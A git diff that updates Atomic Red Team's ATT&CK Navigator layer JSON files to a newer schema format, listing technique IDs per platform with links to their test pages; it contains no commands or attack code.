diff --git a/atomics/Indexes/Attack-Navigator-Layers/art-navigator-layer-azure-ad.json b/atomics/Indexes/Attack-Navigator-Layers/art-navigator-layer-azure-ad.json
index 3f80e767..8d01cf89 100644
--- a/atomics/Indexes/Attack-Navigator-Layers/art-navigator-layer-azure-ad.json
+++ b/atomics/Indexes/Attack-Navigator-Layers/art-navigator-layer-azure-ad.json
@@ -1 +1 @@
-{"version":"4.3","name":"Atomic Red Team (Azure-AD)","description":"Atomic Red Team (Azure-AD) MITRE ATT&CK Navigator Layer","domain":"mitre-enterprise","gradient":{"colors":["#ce232e","#ce232e"],"minValue":0,"maxValue":100},"legendItems":[{"label":"Has at least one test","color":"#ce232e"}],"techniques":[{"techniqueID":"T1098.001","score":100,"enabled":true,"links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1098.001/T1098.001.md"}]},{"techniqueID":"T1098","score":100,"enabled":true},{"techniqueID":"T1098","score":100,"enabled":true,"links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1098/T1098.md"}]},{"techniqueID":"T1098","score":100,"enabled":true,"links":[{"label":"View Atomics","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1098/T1098.md"}]},{"techniqueID":"T1110.001","score":100,"enabled":true,"links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1110.001/T1110.001.md"}]},{"techniqueID":"T1110","score":100,"enabled":true},{"techniqueID":"T1110.003","score":100,"enabled":true,"links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1110.003/T1110.003.md"}]},{"techniqueID":"T1484.002","score":100,"enabled":true,"links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1484.002/T1484.002.md"}]},{"techniqueID":"T1484","score":100,"enabled":true},{"techniqueID":"T1606.002","score":100,"enabled":true,"links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1606.002/T1606.002.md"}]},{"techniqueID":"T1606","score":100,"enabled":true}]}
\ No newline at end of file
+{"name":"Atomic Red Team (Azure-AD)","versions":{"attack":"10","navigator":"4.5.5","layer":"4.3"},"description":"Atomic Red Team (Azure-AD) MITRE ATT&CK Navigator Layer","domain":"enterprise-attack","filters":{},"gradient":{"colors":["#ce232e","#ce232e"],"minValue":0,"maxValue":100},"legendItems":[{"label":"Has at least one test","color":"#ce232e"}],"techniques":[{"techniqueID":"T1098.001","score":100,"enabled":true,"links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1098.001/T1098.001.md"}]},{"techniqueID":"T1098","score":100,"enabled":true},{"techniqueID":"T1098","score":100,"enabled":true,"links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1098/T1098.md"}]},{"techniqueID":"T1098","score":100,"enabled":true,"links":[{"label":"View Atomics","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1098/T1098.md"}]},{"techniqueID":"T1110.001","score":100,"enabled":true,"links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1110.001/T1110.001.md"}]},{"techniqueID":"T1110","score":100,"enabled":true},{"techniqueID":"T1110.003","score":100,"enabled":true,"links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1110.003/T1110.003.md"}]},{"techniqueID":"T1484.002","score":100,"enabled":true,"links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1484.002/T1484.002.md"}]},{"techniqueID":"T1484","score":100,"enabled":true},{"techniqueID":"T1606.002","score":100,"enabled":true,"links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1606.002/T1606.002.md"}]},{"techniqueID":"T1606","score":100,"enabled":true}]}
\ No newline at end of file
diff --git a/atomics/Indexes/Attack-Navigator-Layers/art-navigator-layer-containers.json b/atomics/Indexes/Attack-Navigator-Layers/art-navigator-layer-containers.json
index 14962a2a..9b5afb1b 100644
--- a/atomics/Indexes/Attack-Navigator-Layers/art-navigator-layer-containers.json
+++ b/atomics/Indexes/Attack-Navigator-Layers/art-navigator-layer-containers.json
@@ -1 +1 @@
-{"version":"4.3","name":"Atomic Red Team (Containers)","description":"Atomic Red Team (Containers) MITRE ATT&CK Navigator Layer","domain":"mitre-enterprise","gradient":{"colors":["#ce232e","#ce232e"],"minValue":0,"maxValue":100},"legendItems":[{"label":"Has at least one test","color":"#ce232e"}],"techniques":[{"techniqueID":"T1053.007","score":100,"enabled":true,"links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1053.007/T1053.007.md"}]},{"techniqueID":"T1053","score":100,"enabled":true},{"techniqueID":"T1552.007","score":100,"enabled":true,"links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1552.007/T1552.007.md"}]},{"techniqueID":"T1552","score":100,"enabled":true},{"techniqueID":"T1609","score":100,"enabled":true,"links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1609/T1609.md"}]},{"techniqueID":"T1609","score":100,"enabled":true,"links":[{"label":"View Atomics","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1609/T1609.md"}]},{"techniqueID":"T1611","score":100,"enabled":true,"links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1611/T1611.md"}]},{"techniqueID":"T1611","score":100,"enabled":true,"links":[{"label":"View Atomics","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1611/T1611.md"}]}]}
\ No newline at end of file
+{"name":"Atomic Red Team (Containers)","versions":{"attack":"10","navigator":"4.5.5","layer":"4.3"},"description":"Atomic Red Team (Containers) MITRE ATT&CK Navigator Layer","domain":"enterprise-attack","filters":{},"gradient":{"colors":["#ce232e","#ce232e"],"minValue":0,"maxValue":100},"legendItems":[{"label":"Has at least one test","color":"#ce232e"}],"techniques":[{"techniqueID":"T1053.007","score":100,"enabled":true,"links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1053.007/T1053.007.md"}]},{"techniqueID":"T1053","score":100,"enabled":true},{"techniqueID":"T1552.007","score":100,"enabled":true,"links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1552.007/T1552.007.md"}]},{"techniqueID":"T1552","score":100,"enabled":true},{"techniqueID":"T1609","score":100,"enabled":true,"links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1609/T1609.md"}]},{"techniqueID":"T1609","score":100,"enabled":true,"links":[{"label":"View Atomics","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1609/T1609.md"}]},{"techniqueID":"T1611","score":100,"enabled":true,"links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1611/T1611.md"}]},{"techniqueID":"T1611","score":100,"enabled":true,"links":[{"label":"View Atomics","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1611/T1611.md"}]}]}
\ No newline at end of file
diff --git a/atomics/Indexes/Attack-Navigator-Layers/art-navigator-layer-google-workspace.json b/atomics/Indexes/Attack-Navigator-Layers/art-navigator-layer-google-workspace.json
index 7e84f69b..92204163 100644
--- a/atomics/Indexes/Attack-Navigator-Layers/art-navigator-layer-google-workspace.json
+++ b/atomics/Indexes/Attack-Navigator-Layers/art-navigator-layer-google-workspace.json
@@ -1 +1 @@
-{"version":"4.3","name":"Atomic Red Team (Google-Workspace)","description":"Atomic Red Team (Google-Workspace) MITRE ATT&CK Navigator Layer","domain":"mitre-enterprise","gradient":{"colors":["#ce232e","#ce232e"],"minValue":0,"maxValue":100},"legendItems":[{"label":"Has at least one test","color":"#ce232e"}],"techniques":[{"techniqueID":"T1078.004","score":100,"enabled":true,"links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1078.004/T1078.004.md"}]},{"techniqueID":"T1078","score":100,"enabled":true}]}
\ No newline at end of file
+{"name":"Atomic Red Team (Google-Workspace)","versions":{"attack":"10","navigator":"4.5.5","layer":"4.3"},"description":"Atomic Red Team (Google-Workspace) MITRE ATT&CK Navigator Layer","domain":"enterprise-attack","filters":{},"gradient":{"colors":["#ce232e","#ce232e"],"minValue":0,"maxValue":100},"legendItems":[{"label":"Has at least one test","color":"#ce232e"}],"techniques":[{"techniqueID":"T1078.004","score":100,"enabled":true,"links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1078.004/T1078.004.md"}]},{"techniqueID":"T1078","score":100,"enabled":true}]}
\ No newline at end of file
diff --git a/atomics/Indexes/Attack-Navigator-Layers/art-navigator-layer-iaas-aws.json b/atomics/Indexes/Attack-Navigator-Layers/art-navigator-layer-iaas-aws.json
index 4e3f0fef..b1b8cd5e 100644
--- a/atomics/Indexes/Attack-Navigator-Layers/art-navigator-layer-iaas-aws.json
+++ b/atomics/Indexes/Attack-Navigator-Layers/art-navigator-layer-iaas-aws.json
@@ -1 +1 @@
-{"version":"4.3","name":"Atomic Red Team (Iaas:AWS)","description":"Atomic Red Team (Iaas:AWS) MITRE ATT&CK Navigator Layer","domain":"mitre-enterprise","gradient":{"colors":["#ce232e","#ce232e"],"minValue":0,"maxValue":100},"legendItems":[{"label":"Has at least one test","color":"#ce232e"}],"techniques":[]}
\ No newline at end of file
+{"name":"Atomic Red Team (Iaas:AWS)","versions":{"attack":"10","navigator":"4.5.5","layer":"4.3"},"description":"Atomic Red Team (Iaas:AWS) MITRE ATT&CK Navigator Layer","domain":"enterprise-attack","filters":{},"gradient":{"colors":["#ce232e","#ce232e"],"minValue":0,"maxValue":100},"legendItems":[{"label":"Has at least one test","color":"#ce232e"}],"techniques":[]}
\ No newline at end of file
diff --git a/atomics/Indexes/Attack-Navigator-Layers/art-navigator-layer-iaas-azure.json b/atomics/Indexes/Attack-Navigator-Layers/art-navigator-layer-iaas-azure.json
index 84a4357c..778ac978 100644
--- a/atomics/Indexes/Attack-Navigator-Layers/art-navigator-layer-iaas-azure.json
+++ b/atomics/Indexes/Attack-Navigator-Layers/art-navigator-layer-iaas-azure.json
@@ -1 +1 @@
-{"version":"4.3","name":"Atomic Red Team (Iaas:Azure)","description":"Atomic Red Team (Iaas:Azure) MITRE ATT&CK Navigator Layer","domain":"mitre-enterprise","gradient":{"colors":["#ce232e","#ce232e"],"minValue":0,"maxValue":100},"legendItems":[{"label":"Has at least one test","color":"#ce232e"}],"techniques":[{"techniqueID":"T1098","score":100,"enabled":true,"links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1098/T1098.md"}]},{"techniqueID":"T1098","score":100,"enabled":true,"links":[{"label":"View Atomics","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1098/T1098.md"}]},{"techniqueID":"T1562.008","score":100,"enabled":true,"links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1562.008/T1562.008.md"}]},{"techniqueID":"T1562","score":100,"enabled":true}]}
\ No newline at end of file
+{"name":"Atomic Red Team (Iaas:Azure)","versions":{"attack":"10","navigator":"4.5.5","layer":"4.3"},"description":"Atomic Red Team (Iaas:Azure) MITRE ATT&CK Navigator Layer","domain":"enterprise-attack","filters":{},"gradient":{"colors":["#ce232e","#ce232e"],"minValue":0,"maxValue":100},"legendItems":[{"label":"Has at least one test","color":"#ce232e"}],"techniques":[{"techniqueID":"T1098","score":100,"enabled":true,"links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1098/T1098.md"}]},{"techniqueID":"T1098","score":100,"enabled":true,"links":[{"label":"View Atomics","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1098/T1098.md"}]},{"techniqueID":"T1562.008","score":100,"enabled":true,"links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1562.008/T1562.008.md"}]},{"techniqueID":"T1562","score":100,"enabled":true}]}
\ No newline at end of file
diff --git a/atomics/Indexes/Attack-Navigator-Layers/art-navigator-layer-iaas-gcp.json b/atomics/Indexes/Attack-Navigator-Layers/art-navigator-layer-iaas-gcp.json
index a6ecc9a3..334e585f 100644
--- a/atomics/Indexes/Attack-Navigator-Layers/art-navigator-layer-iaas-gcp.json
+++ b/atomics/Indexes/Attack-Navigator-Layers/art-navigator-layer-iaas-gcp.json
@@ -1 +1 @@
-{"version":"4.3","name":"Atomic Red Team (Iaas:GCP)","description":"Atomic Red Team (Iaas:GCP) MITRE ATT&CK Navigator Layer","domain":"mitre-enterprise","gradient":{"colors":["#ce232e","#ce232e"],"minValue":0,"maxValue":100},"legendItems":[{"label":"Has at least one test","color":"#ce232e"}],"techniques":[]}
\ No newline at end of file
+{"name":"Atomic Red Team (Iaas:GCP)","versions":{"attack":"10","navigator":"4.5.5","layer":"4.3"},"description":"Atomic Red Team (Iaas:GCP) MITRE ATT&CK Navigator Layer","domain":"enterprise-attack","filters":{},"gradient":{"colors":["#ce232e","#ce232e"],"minValue":0,"maxValue":100},"legendItems":[{"label":"Has at least one test","color":"#ce232e"}],"techniques":[]}
\ No newline at end of file
diff --git a/atomics/Indexes/Attack-Navigator-Layers/art-navigator-layer-iaas.json b/atomics/Indexes/Attack-Navigator-Layers/art-navigator-layer-iaas.json
index f6dd5a2c..052718aa 100644
--- a/atomics/Indexes/Attack-Navigator-Layers/art-navigator-layer-iaas.json
+++ b/atomics/Indexes/Attack-Navigator-Layers/art-navigator-layer-iaas.json
@@ -1 +1 @@
-{"version":"4.3","name":"Atomic Red Team (Iaas)","description":"Atomic Red Team (Iaas) MITRE ATT&CK Navigator Layer","domain":"mitre-enterprise","gradient":{"colors":["#ce232e","#ce232e"],"minValue":0,"maxValue":100},"legendItems":[{"label":"Has at least one test","color":"#ce232e"}],"techniques":[{"techniqueID":"T1098.001","score":100,"enabled":true,"links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1098.001/T1098.001.md"}]},{"techniqueID":"T1098","score":100,"enabled":true},{"techniqueID":"T1098","score":100,"enabled":true,"links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1098/T1098.md"}]},{"techniqueID":"T1098","score":100,"enabled":true,"links":[{"label":"View Atomics","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1098/T1098.md"}]},{"techniqueID":"T1136.003","score":100,"enabled":true,"links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1136.003/T1136.003.md"}]},{"techniqueID":"T1136","score":100,"enabled":true},{"techniqueID":"T1562.008","score":100,"enabled":true,"links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1562.008/T1562.008.md"}]},{"techniqueID":"T1562","score":100,"enabled":true}]}
\ No newline at end of file
+{"name":"Atomic Red Team (Iaas)","versions":{"attack":"10","navigator":"4.5.5","layer":"4.3"},"description":"Atomic Red Team (Iaas) MITRE ATT&CK Navigator Layer","domain":"enterprise-attack","filters":{},"gradient":{"colors":["#ce232e","#ce232e"],"minValue":0,"maxValue":100},"legendItems":[{"label":"Has at least one test","color":"#ce232e"}],"techniques":[{"techniqueID":"T1098.001","score":100,"enabled":true,"links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1098.001/T1098.001.md"}]},{"techniqueID":"T1098","score":100,"enabled":true},{"techniqueID":"T1098","score":100,"enabled":true,"links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1098/T1098.md"}]},{"techniqueID":"T1098","score":100,"enabled":true,"links":[{"label":"View Atomics","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1098/T1098.md"}]},{"techniqueID":"T1136.003","score":100,"enabled":true,"links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1136.003/T1136.003.md"}]},{"techniqueID":"T1136","score":100,"enabled":true},{"techniqueID":"T1562.008","score":100,"enabled":true,"links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1562.008/T1562.008.md"}]},{"techniqueID":"T1562","score":100,"enabled":true}]}
\ No newline at end of file
diff --git a/atomics/Indexes/Attack-Navigator-Layers/art-navigator-layer-linux.json b/atomics/Indexes/Attack-Navigator-Layers/art-navigator-layer-linux.json
index 6f985c55..3820125b 100644
--- a/atomics/Indexes/Attack-Navigator-Layers/art-navigator-layer-linux.json
+++ b/atomics/Indexes/Attack-Navigator-Layers/art-navigator-layer-linux.json
@@ -1 +1 @@
-{"version":"4.3","name":"Atomic Red Team (Linux)","description":"Atomic Red Team (Linux) MITRE ATT&CK Navigator Layer","domain":"mitre-enterprise","gradient":{"colors":["#ce232e","#ce232e"],"minValue":0,"maxValue":100},"legendItems":[{"label":"Has at least one test","color":"#ce232e"}],"techniques":[{"techniqueID":"T1003.007","score":100,"enabled":true,"links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1003.007/T1003.007.md"}]},{"techniqueID":"T1003","score":100,"enabled":true},{"techniqueID":"T1003.008","score":100,"enabled":true,"links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1003.008/T1003.008.md"}]},{"techniqueID":"T1014","score":100,"enabled":true,"links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1014/T1014.md"}]},{"techniqueID":"T1014","score":100,"enabled":true,"links":[{"label":"View Atomics","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1014/T1014.md"}]},{"techniqueID":"T1016","score":100,"enabled":true,"links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1016/T1016.md"}]},{"techniqueID":"T1016","score":100,"enabled":true,"links":[{"label":"View Atomics","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1016/T1016.md"}]},{"techniqueID":"T1018","score":100,"enabled":true,"links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1018/T1018.md"}]},{"techniqueID":"T1018","score":100,"enabled":true,"links":[{"label":"View Atomics","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1018/T1018.md"}]},{"techniqueID":"T1027.001","score":100,"enabled":true,"links":[{"label":"View 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diff --git a/atomics/Indexes/Attack-Navigator-Layers/art-navigator-layer-macos.json b/atomics/Indexes/Attack-Navigator-Layers/art-navigator-layer-macos.json
index 0907274a..90809311 100644
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diff --git a/atomics/Indexes/Attack-Navigator-Layers/art-navigator-layer-office-365.json b/atomics/Indexes/Attack-Navigator-Layers/art-navigator-layer-office-365.json
index cf1385b7..58795f72 100644
--- a/atomics/Indexes/Attack-Navigator-Layers/art-navigator-layer-office-365.json
+++ b/atomics/Indexes/Attack-Navigator-Layers/art-navigator-layer-office-365.json
@@ -1 +1 @@
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\ No newline at end of file
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diff --git a/atomics/Indexes/Attack-Navigator-Layers/art-navigator-layer-windows.json b/atomics/Indexes/Attack-Navigator-Layers/art-navigator-layer-windows.json
index 4a92583f..37e45e9e 100644
--- a/atomics/Indexes/Attack-Navigator-Layers/art-navigator-layer-windows.json
+++ b/atomics/Indexes/Attack-Navigator-Layers/art-navigator-layer-windows.json
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index cd171b35..d6c95ee4 100644
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Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1555.001/T1555.001.md"}]},{"techniqueID":"T1555","score":100,"enabled":true},{"techniqueID":"T1555.003","score":100,"enabled":true,"links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1555.003/T1555.003.md"}]},{"techniqueID":"T1555","score":100,"enabled":true,"links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1555/T1555.md"}]},{"techniqueID":"T1555","score":100,"enabled":true,"links":[{"label":"View Atomics","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1555/T1555.md"}]},{"techniqueID":"T1556.002","score":100,"enabled":true,"links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1556.002/T1556.002.md"}]},{"techniqueID":"T1556","score":100,"enabled":true},{"techniqueID":"T1556.003","score":100,"enabled":true,"links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1556.003/T1556.003.md"}]},{"techniqueID":"T1557.001","score":100,"enabled":true,"links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1557.001/T1557.001.md"}]},{"techniqueID":"T1557","score":100,"enabled":true},{"techniqueID":"T1558.001","score":100,"enabled":true,"links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1558.001/T1558.001.md"}]},{"techniqueID":"T1558","score":100,"enabled":true},{"techniqueID":"T1558.003","score":100,"enabled":true,"links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1558.003/T1558.003.md"}]},{"techniqueID":"T1558.004","score":100,"enabled":true,"links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1558.004/T1558.004.md"}]},{"techniqueID":"T1559.002","score":100,"enabled":true,"links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1559.002/T1559.002.md"}]},{"techniqueID":"T1559","score":100,"enabled":true},{"techniqueID":"T1560.001","score":100,"enabled":true,"links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1560.001/T1560.001.md"}]},{"techniqueID":"T1560","score":100,"enabled":true},{"techniqueID":"T1560.002","score":100,"enabled":true,"links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1560.002/T1560.002.md"}]},{"techniqueID":"T1560","score":100,"enabled":true,"links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1560/T1560.md"}]},{"techniqueID":"T1560","score":100,"enabled":true,"links":[{"label":"View Atomics","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1560/T1560.md"}]},{"techniqueID":"T1562.001","score":100,"enabled":true,"links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1562.001/T1562.001.md"}]},{"techniqueID":"T1562","score":100,"enabled":true},{"techniqueID":"T1562.002","score":100,"enabled":true,"links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1562.002/T1562.002.md"}]},{"techniqueID":"T1562.003","score":100,"enabled":true,"links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1562.003/T1562.003.md"}]},{"techniqueID":"T1562.004","score":100,"enabled":true,"links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1562.004/T1562.004.md"}]},{"techniqueID":"T1562.006","score":100,"enabled":true,"links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1562.006/T1562.006.md"}]},{"techniqueID":"T1562.008","score":100,"enabled":true,"links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1562.008/T1562.008.md"}]},{"techniqueID":"T1563.002","score":100,"enabled":true,"links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1563.002/T1563.002.md"}]},{"techniqueID":"T1563","score":100,"enabled":true},{"techniqueID":"T1564.001","score":100,"enabled":true,"links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1564.001/T1564.001.md"}]},{"techniqueID":"T1564","score":100,"enabled":true},{"techniqueID":"T1564.002","score":100,"enabled":true,"links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1564.002/T1564.002.md"}]},{"techniqueID":"T1564.003","score":100,"enabled":true,"links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1564.003/T1564.003.md"}]},{"techniqueID":"T1564.004","score":100,"enabled":true,"links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1564.004/T1564.004.md"}]},{"techniqueID":"T1564.006","score":100,"enabled":true,"links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1564.006/T1564.006.md"}]},{"techniqueID":"T1564","score":100,"enabled":true,"links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1564/T1564.md"}]},{"techniqueID":"T1564","score":100,"enabled":true,"links":[{"label":"View Atomics","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1564/T1564.md"}]},{"techniqueID":"T1566.001","score":100,"enabled":true,"links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1566.001/T1566.001.md"}]},{"techniqueID":"T1566","score":100,"enabled":true},{"techniqueID":"T1567","score":100,"enabled":true,"links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1567/T1567.md"}]},{"techniqueID":"T1567","score":100,"enabled":true,"links":[{"label":"View Atomics","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1567/T1567.md"}]},{"techniqueID":"T1569.001","score":100,"enabled":true,"links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1569.001/T1569.001.md"}]},{"techniqueID":"T1569","score":100,"enabled":true},{"techniqueID":"T1569.002","score":100,"enabled":true,"links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1569.002/T1569.002.md"}]},{"techniqueID":"T1571","score":100,"enabled":true,"links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1571/T1571.md"}]},{"techniqueID":"T1571","score":100,"enabled":true,"links":[{"label":"View Atomics","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1571/T1571.md"}]},{"techniqueID":"T1572","score":100,"enabled":true,"links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1572/T1572.md"}]},{"techniqueID":"T1572","score":100,"enabled":true,"links":[{"label":"View Atomics","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1572/T1572.md"}]},{"techniqueID":"T1573","score":100,"enabled":true,"links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1573/T1573.md"}]},{"techniqueID":"T1573","score":100,"enabled":true,"links":[{"label":"View Atomics","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1573/T1573.md"}]},{"techniqueID":"T1574.001","score":100,"enabled":true,"links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1574.001/T1574.001.md"}]},{"techniqueID":"T1574","score":100,"enabled":true},{"techniqueID":"T1574.002","score":100,"enabled":true,"links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1574.002/T1574.002.md"}]},{"techniqueID":"T1574.006","score":100,"enabled":true,"links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1574.006/T1574.006.md"}]},{"techniqueID":"T1574.009","score":100,"enabled":true,"links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1574.009/T1574.009.md"}]},{"techniqueID":"T1574.011","score":100,"enabled":true,"links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1574.011/T1574.011.md"}]},{"techniqueID":"T1574.012","score":100,"enabled":true,"links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1574.012/T1574.012.md"}]},{"techniqueID":"T1588.002","score":100,"enabled":true,"links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1588.002/T1588.002.md"}]},{"techniqueID":"T1588","score":100,"enabled":true},{"techniqueID":"T1606.002","score":100,"enabled":true,"links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1606.002/T1606.002.md"}]},{"techniqueID":"T1606","score":100,"enabled":true},{"techniqueID":"T1609","score":100,"enabled":true,"links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1609/T1609.md"}]},{"techniqueID":"T1609","score":100,"enabled":true,"links":[{"label":"View Atomics","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1609/T1609.md"}]},{"techniqueID":"T1611","score":100,"enabled":true,"links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1611/T1611.md"}]},{"techniqueID":"T1611","score":100,"enabled":true,"links":[{"label":"View Atomics","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1611/T1611.md"}]}]}
\ No newline at end of file
diff --git a/atomics/Indexes/Indexes-Markdown/index.md b/atomics/Indexes/Indexes-Markdown/index.md
index bd1e20fb..d5e69606 100644
--- a/atomics/Indexes/Indexes-Markdown/index.md
